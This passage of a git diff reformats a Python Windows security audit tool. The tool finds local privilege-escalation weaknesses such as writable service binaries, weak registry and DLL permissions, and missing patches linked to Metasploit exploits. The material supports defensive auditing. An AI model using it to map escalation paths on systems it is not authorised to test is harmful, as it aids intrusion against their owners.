+ | ntsecuritycon.READ_CONTROL)
except:
pass
# print "Can't open: " + self.get_name()
@@ -137,7 +143,9 @@ def get_sd(self):
if self.sd is None:
sd = None
try:
- sd = win32api.RegGetKeySecurity(self.get_keyh(), win32security.DACL_SECURITY_INFORMATION | win32security.OWNER_SECURITY_INFORMATION)
+ sd = win32api.RegGetKeySecurity(
+ self.get_keyh(), win32security.DACL_SECURITY_INFORMATION
+ | win32security.OWNER_SECURITY_INFORMATION)
self.sd = wpc.conf.cache.sd('regkey', sd)
#print "[D]: Got security descriptor for " + self.get_name()
except:
diff --git a/wpc/report/__init__.py b/wpc/report/__init__.py
index 882e540..2ae2839 100755
--- a/wpc/report/__init__.py
+++ b/wpc/report/__init__.py
@@ -1 +1 @@
-pass
+pass
diff --git a/wpc/report/issue.py b/wpc/report/issue.py
index 15916a1..4904d19 100755
--- a/wpc/report/issue.py
+++ b/wpc/report/issue.py
@@ -2,6 +2,7 @@
import xml.etree.cElementTree as etree
+
class issue:
def __init__(self, identifier):
self.id = identifier
@@ -24,13 +25,21 @@ def render_supporting_data(self, data_name):
for data in self.get_supporting_data(data_name):
s = data[0]
p = data[1]
- etree.SubElement(d, 'data').text = " %s (%s) which runs as %s has permission granted for: %s\n" % (s.get_description(), s.get_name(), s.get_run_as(), p.get_fq_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " %s (%s) which runs as %s has permission granted for: %s\n" % (
+ s.get_description(), s.get_name(), s.get_run_as(),
+ p.get_fq_name())
elif data_name == 'principals_with_service_ownership':
for data in self.get_supporting_data(data_name):
s = data[0]
p = data[1]
- etree.SubElement(d, 'data').text = " %s (%s) which runs as %s is owned by %s\n" % (s.get_description(), s.get_name(), s.get_run_as(), p.get_fq_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " %s (%s) which runs as %s is owned by %s\n" % (
+ s.get_description(), s.get_name(), s.get_run_as(),
+ p.get_fq_name())
elif data_name == 'user_reg_keys':
for data in self.get_supporting_data(data_name):
@@ -41,72 +50,111 @@ def render_supporting_data(self, data_name):
u_name = "UNKNOWN"
if u:
u_name = u.get_fq_name()
- etree.SubElement(d, 'data').text = "User: %s, Reg key: %s\%s, Value: %s" % (u_name, r.get_name(), value_name, value_data)
+ etree.SubElement(
+ d, 'data').text = "User: %s, Reg key: %s\%s, Value: %s" % (
+ u_name, r.get_name(), value_name, value_data)
elif data_name == 'reg_key_value':
for data in self.get_supporting_data(data_name):
r = data[0]
value_name = data[1]
value_data = data[2]
- etree.SubElement(d, 'data').text = "Reg key: %s\%s, Value: %s" % (r.get_name(), value_name, value_data)
+ etree.SubElement(d,
+ 'data').text = "Reg key: %s\%s, Value: %s" % (
+ r.get_name(), value_name, value_data)
elif data_name == 'exploit_list':
for data in self.get_supporting_data(data_name):
e = data[0]
- etree.SubElement(d, 'data').text = "Missing patch %s: Metasploit exploit \"%s\" (%s)" % (e.get_msno(), e.get_title(), e.get_info("Metasploit Exploit Name"))
+ etree.SubElement(
+ d, 'data'
+ ).text = "Missing patch %s: Metasploit exploit \"%s\" (%s)" % (
+ e.get_msno(), e.get_title(),
+ e.get_info("Metasploit Exploit Name"))
elif data_name == 'dc_info':
for data in self.get_supporting_data(data_name):
dc_info = data[0]
- etree.SubElement(d, 'data').text = "Domain Name: %s" % (dc_info["DomainName"])
+ etree.SubElement(
+ d,
+ 'data').text = "Domain Name: %s" % (dc_info["DomainName"])
elif data_name == 'writable_dirs':
for data in self.get_supporting_data(data_name):
f = data[0]
a = data[1]
- etree.SubElement(d, 'data').text = " File %s has weak permissions: %s\n" % (f.get_name(), a.as_text())
+ etree.SubElement(
+ d,
+ 'data').text = " File %s has weak permissions: %s\n" % (
+ f.get_name(), a.as_text())
elif data_name == 'writable_progs':
for data in self.get_supporting_data(data_name):
f = data[0]
a = data[1]
- etree.SubElement(d, 'data').text = " File %s has weak permissions: %s\n" % (f.get_name(), a.as_text())
+ etree.SubElement(
+ d,
+ 'data').text = " File %s has weak permissions: %s\n" % (
+ f.get_name(), a.as_text())
elif data_name == 'writable_files':
for data in self.get_supporting_data(data_name):
f = data[0]
a = data[1]
- etree.SubElement(d, 'data').text = " File %s has weak permissions: %s\n" % (f.get_name(), a.as_text())
+ etree.SubElement(
+ d,
+ 'data').text = " File %s has weak permissions: %s\n" % (
+ f.get_name(), a.as_text())
elif data_name == 'service_exe_write_perms':
for data in self.get_supporting_data(data_name):
s = data[0]
f = data[1]
- etree.SubElement(d, 'data').text = " %s (%s) runs the following program as %s:\n" % (s.get_description(), s.get_name(), s.get_run_as())
+ etree.SubElement(
+ d, 'data'
+ ).text = " %s (%s) runs the following program as %s:\n" % (
+ s.get_description(), s.get_name(), s.get_run_as())
etree.SubElement(d, 'data').text = " %s\n" % (f.as_text())
elif data_name == 'service_exe_owner':
for data in self.get_supporting_data(data_name):
s = data[0]
- etree.SubElement(d, 'data').text = " %s (%s) runs the following program '%s' as %s. Program is owned by untrusted user %s:\n" % (s.get_description(), s.get_name(), s.get_exe_file().get_name(), s.get_run_as(), s.get_exe_file().get_sd().get_owner().get_fq_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " %s (%s) runs the following program '%s' as %s. Program is owned by untrusted user %s:\n" % (
+ s.get_description(), s.get_name(),
+ s.get_exe_file().get_name(), s.get_run_as(),
+ s.get_exe_file().get_sd().get_owner().get_fq_name())
elif data_name == 'file_untrusted_ownership':
for data in self.get_supporting_data(data_name):
s = data[0]
- etree.SubElement(d, 'data').text = " %s (%s) runs %s as %s. Program owned by %s\n" % (s.get_description(), s.get_name(), s.get_exe_file().get_name(), s.get_run_as(), s.get_exe_file().get_sd().get_owner().get_fq_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " %s (%s) runs %s as %s. Program owned by %s\n" % (
+ s.get_description(), s.get_name(),
+ s.get_exe_file().get_name(), s.get_run_as(),
+ s.get_exe_file().get_sd().get_owner().get_fq_name())
elif data_name == 'service_exe_parent_dir_untrusted_ownership':
for data in self.get_supporting_data(data_name):
s = data[0]
f = data[1]
- etree.SubElement(d, 'data').text = " %s (%s) runs %s as %s. Parent directory %s is owned by %s\n" % (s.get_description(), s.get_name(), s.get_exe_file().get_name(), s.get_run_as(), f.get_name(), f.get_sd().get_owner().get_fq_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " %s (%s) runs %s as %s. Parent directory %s is owned by %s\n" % (
+ s.get_description(), s.get_name(),
+ s.get_exe_file().get_name(), s.get_run_as(), f.get_name(),
+ f.get_sd().get_owner().get_fq_name())
elif data_name == 'service_exe_file_parent_write_perms' or data_name == 'service_exe_parent_grandparent_write_perms':
for data in self.get_supporting_data(data_name):
s = data[0]
f = data[1]
fp = data[2]
- etree.SubElement(d, 'data').text = " %s (%s) runs %s as %s" % (s.get_description(), s.get_name(), s.get_exe_file().get_name(), s.get_run_as())
+ etree.SubElement(d, 'data').text = " %s (%s) runs %s as %s" % (
+ s.get_description(), s.get_name(),
+ s.get_exe_file().get_name(), s.get_run_as())
etree.SubElement(d, 'data').text = " %s\n" % (f.as_text())
etree.SubElement(d, 'data').text = " %s\n" % (fp.as_text())
@@ -114,55 +162,80 @@ def render_supporting_data(self, data_name):
for data in self.get_supporting_data(data_name):
s = data[0]
f = data[1]
- etree.SubElement(d, 'data').text = " %s (%s) runs %s as %s\n" % (s.get_description(), s.get_name(), s.get_exe_file().get_name(), s.get_run_as())
+ etree.SubElement(
+ d, 'data').text = " %s (%s) runs %s as %s\n" % (
+ s.get_description(), s.get_name(),
+ s.get_exe_file().get_name(), s.get_run_as())
etree.SubElement(d, 'data').text = " %s\n" % (f.as_text())
elif data_name == 'service_exe_regkey_untrusted_ownership':
for data in self.get_supporting_data(data_name):
s = data[0]
r = data[1]
- etree.SubElement(d, 'data').text = " %s (%s) uses registry key %s, owned by %s" % (s.get_description(), s.get_name(), r.get_name(), r.get_sd().get_owner().get_fq_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " %s (%s) uses registry key %s, owned by %s" % (
+ s.get_description(), s.get_name(), r.get_name(),
+ r.get_sd().get_owner().get_fq_name())
elif data_name == 'regkey_untrusted_ownership':
for data in self.get_supporting_data(data_name):
r = data[0]
- etree.SubElement(d, 'data').text = "Registry key %s is owned by %s" % (r.get_name(), r.get_sd().get_owner().get_fq_name())
+ etree.SubElement(
+ d, 'data').text = "Registry key %s is owned by %s" % (
+ r.get_name(), r.get_sd().get_owner().get_fq_name())
elif data_name == 'service_reg_perms':
for data in self.get_supporting_data(data_name):
s = data[0]
a = data[1]
- etree.SubElement(d, 'data').text = " %s (%s) uses registry key %s:\n" % (s.get_description(), s.get_name(), a.get_name())
+ etree.SubElement(
+ d, 'data').text = " %s (%s) uses registry key %s:\n" % (
+ s.get_description(), s.get_name(), a.get_name())
etree.SubElement(d, 'data').text = " %s\n" % (a.as_text())
elif data_name == 'regkey_perms':
for data in self.get_supporting_data(data_name):
r = data[0]
a = data[1]
- etree.SubElement(d, 'data').text = "Registry key %s has permissions:\n" % (r.get_name())
+ etree.SubElement(
+ d, 'data').text = "Registry key %s has permissions:\n" % (
+ r.get_name())
etree.SubElement(d, 'data').text = " %s\n" % (a.as_text())
elif data_name == 'service_info':
for data in self.get_supporting_data(data_name):
s = data[0]
- etree.SubElement(d, 'data').text = " %s (%s) runs as %s and has path: %s:\n" % (s.get_description(), s.get_name(), s.get_run_as(), s.get_exe_path())
+ etree.SubElement(
+ d, 'data'
+ ).text = " %s (%s) runs as %s and has path: %s:\n" % (
+ s.get_description(), s.get_name(), s.get_run_as(),
+ s.get_exe_path())
elif data_name == 'service_domain_user':
for data in self.get_supporting_data(data_name):
s = data[0]
- etree.SubElement(d, 'data').text = " %s (%s) runs as %s\n" % (s.get_description(), s.get_name(), s.get_run_as())
+ etree.SubElement(d, 'data').text = " %s (%s) runs as %s\n" % (
+ s.get_description(), s.get_name(), s.get_run_as())
elif data_name == 'service_no_exe':
for data in self.get_supporting_data(data_name):
s = data[0]
- etree.SubElement(d, 'data').text = " %s (%s) tries to run '%s' as %s\n" % (s.get_description(), s.get_name(), s.get_exe_path(), s.get_run_as())
+ etree.SubElement(
+ d, 'data').text = " %s (%s) tries to run '%s' as %s\n" % (
+ s.get_description(), s.get_name(), s.get_exe_path(),
+ s.get_run_as())
elif data_name == 'service_dll':
for data in self.get_supporting_data(data_name):
s = data[0]
r = data[1]
f = data[2]
- etree.SubElement(d, 'data').text = " Service %s (%s) runs as %s: Regkey %s references %s which has weak file permissions (TODO how so?)\n" % (s.get_description(), s.get_name(), s.get_run_as(), r.get_name(), f.get_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " Service %s (%s) runs as %s: Regkey %s references %s which has weak file permissions (TODO how so?)\n" % (
+ s.get_description(), s.get_name(), s.get_run_as(),
+ r.get_name(), f.get_name())
elif data_name == 'regkey_ref_replacable_file':
for data in self.get_supporting_data(data_name):
@@ -171,19 +244,28 @@ def render_supporting_data(self, data_name):
clsid = data[2]
f = data[3]
r = data[4]
- etree.SubElement(d, 'data').text = " %s \"%s\" uses CLSID %s which references the following file with weak permissions: %s [defined in %s] - TODO how are perms weak?\n" % (type, name, clsid, f.get_name(), r.get_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " %s \"%s\" uses CLSID %s which references the following file with weak permissions: %s [defined in %s] - TODO how are perms weak?\n" % (
+ type, name, clsid, f.get_name(), r.get_name())
elif data_name == 'regkey_ref_file':
for data in self.get_supporting_data(data_name):
r = data[0]
v = data[1]
f = data[2]
- etree.SubElement(d, 'data').text = " %s references %s which has weak permissions. TODO weak how?\n" % (r.get_name() + "\\" + v, f.get_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " %s references %s which has weak permissions. TODO weak how?\n" % (
+ r.get_name() + "\\" + v, f.get_name())
elif data_name == 'sectool_services':
for data in self.get_supporting_data(data_name):
s = data[0]
- etree.SubElement(d, 'data').text = " %s (%s) runs '%s' as %s\n" % (s.get_description(), s.get_name(), s.get_exe_path(), s.get_run_as())
+ etree.SubElement(
+ d, 'data').text = " %s (%s) runs '%s' as %s\n" % (
+ s.get_description(), s.get_name(), s.get_exe_path(),
+ s.get_run_as())
elif data_name == 'sectool_files':
for data in self.get_supporting_data(data_name):
@@ -194,12 +276,17 @@ def render_supporting_data(self, data_name):
for data in self.get_supporting_data(data_name):
f = data[0]
u = data[1]
- etree.SubElement(d, 'data').text = " %s can be read by %s\n" % (f.get_name(), u.get_fq_name())
+ etree.SubElement(d,
+ 'data').text = " %s can be read by %s\n" % (
+ f.get_name(), u.get_fq_name())
elif data_name == 'process_exe':
for data in self.get_supporting_data(data_name):
p = data[0]
- etree.SubElement(d, 'data').text = " Process ID %s (%s) as weak permissions. TODO: Weak how?\n" % (p.get_pid(), p.get_exe().get_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " Process ID %s (%s) as weak permissions. TODO: Weak how?\n" % (
+ p.get_pid(), p.get_exe().get_name())
elif data_name == 'user_powerful_priv':
for data in self.get_supporting_data(data_name):
@@ -215,30 +302,43 @@ def render_supporting_data(self, data_name):
for data in self.get_supporting_data(data_name):
s = data[0]
u = data[1]
- etree.SubElement(d, 'data').text = " Share %s (%s) is accessible by %s\n" % (s.get_name(), s.get_description(), u.get_fq_name())
+ etree.SubElement(
+ d,
+ 'data').text = " Share %s (%s) is accessible by %s\n" % (
+ s.get_name(), s.get_description(), u.get_fq_name())
elif data_name == 'writable_eventlog_dll' or data_name == 'writable_eventlog_file':
for data in self.get_supporting_data(data_name):
s = data[0]
f = data[1]
- etree.SubElement(d, 'data').text = " Registry key %s refers to replaceable file %s TODO print file perms?\n" % (s.get_name(), f.get_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " Registry key %s refers to replaceable file %s TODO print file perms?\n" % (
+ s.get_name(), f.get_name())
elif data_name == 'drive_and_fs_list':
for data in self.get_supporting_data(data_name):
drive = data[0]
- etree.SubElement(d, 'data').text = " Drive %s has %s filesystem\n" % (drive.get_name(), drive.get_fs())
+ etree.SubElement(
+ d, 'data').text = " Drive %s has %s filesystem\n" % (
+ drive.get_name(), drive.get_fs())
elif data_name == 'dir_add_file':
for data in self.get_supporting_data(data_name):
drive = data[0]
a = data[1]
- etree.SubElement(d, 'data').text = " Drive %s allows %s to add files\n" % (drive.get_name(), a.get_principal().get_fq_name())
+ etree.SubElement(
+ d, 'data').text = " Drive %s allows %s to add files\n" % (
+ drive.get_name(), a.get_principal().get_fq_name())
elif data_name == 'dir_add_dir':
for data in self.get_supporting_data(data_name):
drive = data[0]
a = data[1]
- etree.SubElement(d, 'data').text = " Drive %s allows %s to add directories\n" % (drive.get_name(), a.get_principal().get_fq_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " Drive %s allows %s to add directories\n" % (
+ drive.get_name(), a.get_principal().get_fq_name())
elif data_name == 'process_dll':
for data in self.get_supporting_data(data_name):
@@ -248,7 +348,10 @@ def render_supporting_data(self, data_name):
exe = p.get_exe().get_name()
else:
exe = "[unknown]"
- etree.SubElement(d, 'data').text = " Process ID %s (%s) uses DLL %s. DLL has weak permissions. TODO: Weak how?\n" % (p.get_pid(), p.get_exe().get_name(), dll.get_name())
+ etree.SubElement(
+ d, 'data'
+ ).text = " Process ID %s (%s) uses DLL %s. DLL has weak permissions. TODO: Weak how?\n" % (
+ p.get_pid(), p.get_exe().get_name(), dll.get_name())
elif data_name == 'process_perms':
for data in self.get_supporting_data(data_name):
@@ -258,7 +361,10 @@ def render_supporting_data(self, data_name):
exe = p.get_exe().get_name()
else:
exe = "[unknown]"
- etree.SubElement(d, 'data').text = " Process ID %s (%s) has weak process-level permissions: %s\n" % (p.get_pid(), exe, perms.as_text())
+ etree.SubElement(
+ d, 'data'
+ ).text = " Process ID %s (%s) has weak process-level permissions: %s\n" % (
+ p.get_pid(), exe, perms.as_text())
elif data_name == 'thread_perms':
for data in self.get_supporting_data(data_name):
@@ -269,7 +375,10 @@ def render_supporting_data(self, data_name):
exe = p.get_exe().get_name()
else:
exe = "[unknown]"
- etree.SubElement(d, 'data').text = " Tread ID %s of Process ID %s (%s) has weak thread-level permissions: %s\n" % (t.get_tid(), p.get_pid(), exe, perms.as_text())
+ etree.SubElement(
+ d, 'data'
+ ).text = " Tread ID %s of Process ID %s (%s) has weak thread-level permissions: %s\n" % (
+ t.get_tid(), p.get_pid(), exe, perms.as_text())
elif data_name == 'token_perms':
for data in self.get_supporting_data(data_name):
@@ -280,7 +389,10 @@ def render_supporting_data(self, data_name):
exe = p.get_exe().get_name()
else:
exe = "[unknown]"
- etree.SubElement(d, 'data').text = " An Access Token in Process ID %s (%s) or one of its threads has weak token-level permissions: %s\n" % (p.get_pid(), exe, perms.as_text())
+ etree.SubElement(
+ d, 'data'
+ ).text = " An Access Token in Process ID %s (%s) or one of its threads has weak token-level permissions: %s\n" % (
+ p.get_pid(), exe, perms.as_text())
elif data_name == 'writeable_dirs' or data_name == 'files_write_perms':
for o in self.get_supporting_data(data_name):
@@ -298,21 +410,28 @@ def get_supporting_data(self, data_name):
def get_rendered_supporting_data(self, section):
d = etree.Element('details')
- for data_name in wpc.conf.issue_template[self.get_id()]['supporting_data'].keys():
- if wpc.conf.issue_template[self.get_id()]['supporting_data'][data_name]['section'] == section:
+ for data_name in wpc.conf.issue_template[
+ self.get_id()]['supporting_data'].keys():
+ if wpc.conf.issue_template[self.get_id(
+ )]['supporting_data'][data_name]['section'] == section:
if self.get_supporting_data(data_name):
- etree.SubElement(d, 'preamble').text = wpc.conf.issue_template[self.get_id()]['supporting_data'][data_name]['preamble'] + "\n\n"
+ etree.SubElement(
+ d,
+ 'preamble').text = wpc.conf.issue_template[self.get_id(
+ )]['supporting_data'][data_name]['preamble'] + "\n\n"
d.append(self.render_supporting_data(data_name))
return d
def as_xml(self):
r = etree.Element('issue')
- etree.SubElement(r, 'title').text = wpc.conf.issue_template[self.get_id()]['title']
- s = etree.SubElement(r, 'section', type = 'description')
- etree.SubElement(s, 'body').text = wpc.conf.issue_template[self.get_id()]['description']
+ etree.SubElement(
+ r, 'title').text = wpc.conf.issue_template[self.get_id()]['title']
+ s = etree.SubElement(r, 'section', type='description')
+ etree.SubElement(s, 'body').text = wpc.conf.issue_template[
+ self.get_id()]['description']
s.append(self.get_rendered_supporting_data('description'))
- s = etree.SubElement(r, 'section', type = 'recommendation')
- etree.SubElement(s, 'body').text = wpc.conf.issue_template[self.get_id()]['recommendation']
+ s = etree.SubElement(r, 'section', type='recommendation')
+ etree.SubElement(s, 'body').text = wpc.conf.issue_template[
+ self.get_id()]['recommendation']
s.append(self.get_rendered_supporting_data('recommendation'))
return r
-
diff --git a/wpc/report/issues.py b/wpc/report/issues.py
index c394ce9..246a33d 100755
--- a/wpc/report/issues.py
+++ b/wpc/report/issues.py
@@ -42,16 +42,18 @@ def as_xml(self):
return r
def as_text(self):
- xslt_fh = open('xsl/text.xsl', 'r') # TODO need to be able to run from other dirs too!
- xslt_str = xslt_fh.read()
+ xslt_fh = open('xsl/text.xsl',
+ 'r') # TODO need to be able to run from other dirs too!
+ xslt_str = xslt_fh.read()
xslt_fh.close()
xslt_root = letree.XML(xslt_str)
transform = letree.XSLT(xslt_root)
return str(transform(letree.XML(self.as_xml_string())))
def as_html(self):
- xslt_fh = open('xsl/html.xsl', 'r') # TODO need to be able to run from other dirs too!
- xslt_str = xslt_fh.read()
+ xslt_fh = open('xsl/html.xsl',
+ 'r') # TODO need to be able to run from other dirs too!
+ xslt_str = xslt_fh.read()
xslt_fh.close()
xslt_root = letree.XML(xslt_str)
transform = letree.XSLT(xslt_root)
diff --git a/wpc/report/report.py b/wpc/report/report.py
index 50f095f..e3e39b6 100755
--- a/wpc/report/report.py
+++ b/wpc/report/report.py
@@ -200,7 +200,7 @@ def __init__(self):
'''
-
+
def get_issues(self):
return self.issues
@@ -220,7 +220,7 @@ def get_info(self):
def as_xml(self):
# TODO: Top level version for XML schema
- # TODO: Raw data about object reported (files, service, etc.)
+ # TODO: Raw data about object reported (files, service, etc.)
r = etree.Element('report')
s = etree.Element('scaninfo')
for k in self.get_info().keys():
diff --git a/wpc/sd.py b/wpc/sd.py
index e515261..5a74836 100755
--- a/wpc/sd.py
+++ b/wpc/sd.py
@@ -55,7 +55,7 @@ def dangerous_as_text(self):
return s
def dump(self):
- print self.as_text()
+ print(self.as_text())
def perms_for(self, principal):
# TODO use all_perms above
@@ -118,7 +118,8 @@ def get_owner_string(self):
def get_owner_name(self):
if self.owner_name == None:
- self.owner_name = win32security.ConvertSidToStringSid(self.get_owner_sid)
+ self.owner_name = win32security.ConvertSidToStringSid(
+ self.get_owner_sid)
return self.owner_name
def set_owner_name(self, name):
@@ -128,7 +129,8 @@ def set_owner_domain(self, name):
self.owner_domain = name
def get_owner_tuple(self):
- owner_name, owner_domain, type = wpc.conf.cache.LookupAccountSid(self.get_remote_server(), self.get_owner_sid())
+ owner_name, owner_domain, type = wpc.conf.cache.LookupAccountSid(
+ self.get_remote_server(), self.get_owner_sid())
self.set_owner_name(owner_name)
self.set_owner_domain(owner_domain)
return owner_name, owner_domain, type
@@ -162,6 +164,6 @@ def _as_text(self, flag):
if not a.get_principal().is_trusted():
s += a.as_text() + "\n"
else:
- s += a.as_text() + "\n"
+ s += a.as_text() + "\n"
s += "--- end security descriptor ---\n"
return s
diff --git a/wpc/service.py b/wpc/service.py
index 92edbcf..05005ad 100755
--- a/wpc/service.py
+++ b/wpc/service.py
@@ -43,9 +43,11 @@ def __init__(self, scm, short_name):
# get the maximum info about each service.
def get_sh_query_config(self):
- if not self.sh_query_config:
+ if not self.sh_query_config:
try:
- self.sh_query_config = win32service.OpenService(self.get_scm(), self.get_name(), win32service.SERVICE_QUERY_CONFIG)
+ self.sh_query_config = win32service.OpenService(
+ self.get_scm(), self.get_name(),
+ win32service.SERVICE_QUERY_CONFIG)
except:
print "Service Perms: Unknown (Access Denied)"
@@ -55,7 +57,9 @@ def get_sh_query_config(self):
def get_sh_query_status(self):
if not self.sh_query_status:
try:
- self.sh_query_status = win32service.OpenService(self.get_scm(), self.get_name(), win32service.SERVICE_QUERY_STATUS)
+ self.sh_query_status = win32service.OpenService(
+ self.get_scm(), self.get_name(),
+ win32service.SERVICE_QUERY_STATUS)
except:
pass
return self.sh_query_status
@@ -63,7 +67,8 @@ def get_sh_query_status(self):
def get_sh_read_control(self):
if not self.sh_read_control:
try:
- self.sh_read_control = win32service.OpenService(self.get_scm(), self.get_name(), win32con.READ_CONTROL)
+ self.sh_read_control = win32service.OpenService(
+ self.get_scm(), self.get_name(), win32con.READ_CONTROL)
except:
pass
return self.sh_read_control
@@ -88,10 +93,14 @@ def get_sd(self):
if not self.sd:
# Need a handle with generic_read
try:
- secdesc = win32service.QueryServiceObjectSecurity(self.get_sh_read_control(), win32security.OWNER_SECURITY_INFORMATION | win32security.DACL_SECURITY_INFORMATION)
+ secdesc = win32service.QueryServiceObjectSecurity(
+ self.get_sh_read_control(),
+ win32security.OWNER_SECURITY_INFORMATION
+ | win32security.DACL_SECURITY_INFORMATION)
self.sd = sd('service', secdesc)
except:
- print "ERROR: OpenService failed for '%s' (%s)" % (self.get_description(), self.get_name())
+ print "ERROR: OpenService failed for '%s' (%s)" % (
+ self.get_description(), self.get_name())
return self.sd
@@ -125,7 +134,8 @@ def get_exe_path_clean(self):
re1 = re.compile(r'^\\systemroot', re.IGNORECASE)
binary_dirty = re1.sub(os.getenv('SystemRoot'), binary_dirty)
re2 = re.compile(r'^system32\\', re.IGNORECASE)
- binary_dirty = re2.sub(os.getenv('SystemRoot') + r'\\system32\\', binary_dirty)
+ binary_dirty = re2.sub(
+ os.getenv('SystemRoot') + r'\\system32\\', binary_dirty)
re2 = re.compile(r'^\\\?\?\\', re.IGNORECASE)
binary_dirty = re2.sub('', binary_dirty)
@@ -144,17 +154,22 @@ def get_exe_path_clean(self):
self.exe_path_clean = candidate
break
- if os.path.exists(candidate + ".exe") and os.path.isfile(candidate + ".exe"):
+ if os.path.exists(candidate +
+ ".exe") and os.path.isfile(candidate +
+ ".exe"):
self.exe_path_clean = candidate + ".exe"
break
if wpc.conf.on64bitwindows:
candidate2 = candidate.replace("system32", "syswow64")
- if os.path.exists(candidate2) and os.path.isfile(candidate2):
+ if os.path.exists(candidate2) and os.path.isfile(
+ candidate2):
self.exe_path_clean = candidate2
break
- if os.path.exists(candidate2 + ".exe") and os.path.isfile(candidate2 + ".exe"):
+ if os.path.exists(candidate2 +
+ ".exe") and os.path.isfile(candidate2 +
+ ".exe"):
self.exe_path_clean = candidate2 + ".exe"
break
return self.exe_path_clean
@@ -216,7 +231,8 @@ def get_description(self):
def get_service_info(self, n):
if not self.service_info:
try:
- self.service_info = win32service.QueryServiceConfig(self.get_sh_query_config())
+ self.service_info = win32service.QueryServiceConfig(
+ self.get_sh_query_config())
except:
pass
@@ -228,7 +244,9 @@ def get_service_info(self, n):
def get_service_config_failure_actions(self):
if not self.service_config_failure_actions:
try:
- self.service_config_failure_actions = win32service.QueryServiceConfig2(self.get_sh_query_config(), win32service.SERVICE_CONFIG_FAILURE_ACTIONS)
+ self.service_config_failure_actions = win32service.QueryServiceConfig2(
+ self.get_sh_query_config(),
+ win32service.SERVICE_CONFIG_FAILURE_ACTIONS)
except:
pass
if not self.service_config_failure_actions:
@@ -238,7 +256,9 @@ def get_service_config_failure_actions(self):
def get_service_sid_type(self):
if not self.service_sid_type:
try:
- self.service_sid_type = win32service.QueryServiceConfig2(self.get_sh_query_config(), win32service.SERVICE_CONFIG_SERVICE_SID_INFO)
+ self.service_sid_type = win32service.QueryServiceConfig2(
+ self.get_sh_query_config(),
+ win32service.SERVICE_CONFIG_SERVICE_SID_INFO)
if self.service_sid_type == 0:
self.service_sid_type = "SERVICE_SID_TYPE_NONE"
if self.service_sid_type == 1:
@@ -252,7 +272,9 @@ def get_service_sid_type(self):
def get_long_description(self):
if not self.long_description:
try:
- self.long_description = win32service.QueryServiceConfig2(self.get_sh_query_config(), win32service.SERVICE_CONFIG_DESCRIPTION)
+ self.long_description = win32service.QueryServiceConfig2(
+ self.get_sh_query_config(),
+ win32service.SERVICE_CONFIG_DESCRIPTION)
except:
pass
if not self.long_description:
@@ -273,7 +295,9 @@ def _as_text(self, flag):
t += "Type: " + str(self.get_type()) + "\n"
t += "Status: " + str(self.get_status()) + "\n"
t += "Startup: " + str(self.get_startup_type()) + "\n"
- t += "Long Desc: " + self.removeNonAscii(self.get_long_description()) + "\n" # in case of stupid chars in desc
+ t += "Long Desc: " + self.removeNonAscii(
+ self.get_long_description(
+ )) + "\n" # in case of stupid chars in desc
t += "Binary: " + self.get_exe_path() + "\n"
if self.get_exe_path_clean():
t += "Binary (clean): " + self.get_exe_path_clean() + "\n"
@@ -316,8 +340,10 @@ def _as_text(self, flag):
def get_reg_key(self):
if not self.reg_key:
- self.reg_key = regkey("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\" + self.get_name())
+ self.reg_key = regkey(
+ "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\" +
+ self.get_name())
return self.reg_key
- def removeNonAscii(self, s):
- return "".join(i for i in s if ord(i) < 128)
\ No newline at end of file
+ def removeNonAscii(self, s):
+ return "".join(i for i in s if ord(i) < 128)
diff --git a/wpc/services.py b/wpc/services.py
index 75e18e8..c4f5dc4 100755
--- a/wpc/services.py
+++ b/wpc/services.py
@@ -17,7 +17,9 @@ def get_type(self):
return self.type
def add_all(self):
- for s in win32service.EnumServicesStatus(self.get_scm(), self.get_type(), win32service.SERVICE_STATE_ALL):
+ for s in win32service.EnumServicesStatus(
+ self.get_scm(), self.get_type(),
+ win32service.SERVICE_STATE_ALL):
short_name = s[0]
self.add(service(self.get_scm(), short_name))
@@ -30,7 +32,9 @@ def get_services(self):
def get_scm(self):
if not self.scm:
- self.scm = win32service.OpenSCManager(self.get_remote_server(), None, win32service.SC_MANAGER_ENUMERATE_SERVICE)
+ self.scm = win32service.OpenSCManager(
+ self.get_remote_server(), None,
+ win32service.SC_MANAGER_ENUMERATE_SERVICE)
return self.scm
def get_remote_server(self):
diff --git a/wpc/share.py b/wpc/share.py
index 883cf75..01c4bcb 100755
--- a/wpc/share.py
+++ b/wpc/share.py
@@ -23,15 +23,16 @@ def get_name(self):
def get_info(self):
if not self.info:
try:
- shareinfo = win32net.NetShareGetInfo(wpc.conf.remote_server, self.get_name(), 502)
+ shareinfo = win32net.NetShareGetInfo(wpc.conf.remote_server,
+ self.get_name(), 502)
self.description = shareinfo['reserved']
self.passwd = shareinfo['passwd']
self.current_uses = shareinfo['current_uses']
self.max_uses = shareinfo['max_uses']
if shareinfo['path']:
- # self.path = File(shareinfo['path'])
- #else:
+ # self.path = File(shareinfo['path'])
+ #else:
self.path = shareinfo['path']
self.type = shareinfo['type']
@@ -126,4 +127,4 @@ def as_text(self):
t += 'Share Security Descriptor: None\n'
t += '--- end share ---\n'
- return t
\ No newline at end of file
+ return t
diff --git a/wpc/shares.py b/wpc/shares.py
index 345634e..5870b97 100755
--- a/wpc/shares.py
+++ b/wpc/shares.py
@@ -10,12 +10,14 @@ def __init__(self):
def get_all(self):
if self.shares == []:
- resume = 1;
+ resume = 1
while resume:
resume = 0
sharelist = None
try:
- (sharelist, total, resume) = win32net.NetShareEnum(wpc.conf.remote_server, 0, resume, 9999)
+ (sharelist, total,
+ resume) = win32net.NetShareEnum(wpc.conf.remote_server, 0,
+ resume, 9999)
except:
print "[E] Can't check shares - not enough privs?"
@@ -24,4 +26,4 @@ def get_all(self):
s = share(shareitem['netname'])
self.shares.append(s)
- return self.shares
\ No newline at end of file
+ return self.shares
diff --git a/wpc/thread.py b/wpc/thread.py
index 7a13a48..06d5859 100755
--- a/wpc/thread.py
